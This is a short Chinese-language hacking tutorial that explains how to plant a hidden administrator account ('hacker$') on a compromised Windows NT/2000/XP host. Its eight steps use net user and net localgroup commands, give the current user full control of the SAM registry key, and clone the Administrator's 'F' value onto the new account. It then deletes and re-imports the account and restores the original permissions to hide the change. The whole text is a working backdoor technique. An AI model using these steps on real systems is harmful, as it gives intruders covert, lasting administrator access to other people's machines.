regedit是大家最熟悉的东西了吧。nt/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINE\SAM\SAM键下，但是除了系统用户SYSTEM外，其它用户都无权查看到里面的信息，因此我首先用注册表对SAM键为我设置为“完全控制”权限。这样就可以对SAM键内的信息进行读写了了。具体步聚如下：
1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的，首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户 net user hacker$ 1234 /add，并把hacker$加入到管理员组net localgroup administrators hacker$ /add。
2、在开始/运行中输入:regedit，并回车来运行注册表。
3、进入HKEY_LOCAL_MACHINE\SAM\SAM中，右击SAM，点“权限”以后会弹出窗口点添加将我登录时的帐户添加到安全栏内，这里我是以administrator的身份登录的，所以我就将administrator加入，并设置权限为“完全控制"。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组，切莫修改原有的帐户或组，否则将会带来一系列不必要的问题。等隐藏超级用户建好以，再来这里将你添加的帐户删除即可。
4、启动注册表，依次打开“HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\hacker$”。
5、将项hacker$、000003EE、000001F4(对应Administrator，此处一定要找好对应关系)导出为hacker.reg、3ee.reg、1f4.reg，将超级用户对应的项000001F4下的键"F"的值复制，并覆盖hacker$对应的项000003EE下的键"F"的值,然后再将000003EE.reg与hacker.reg导出。
6、在命令行下执行net user hacker$ /del将用户hacker$删除。
7、打开注册表，按F5刷新，然后打文件-导入注册表文件将第五步导出的两个注册表导入注册表即可。
8、到此，隐藏的超级用户hacker$已经建好了，在regedit窗口内把HKEY_LOCAL_MACHINE\SAM\SAM键权限改回原来的样子，即修改之前的权限。
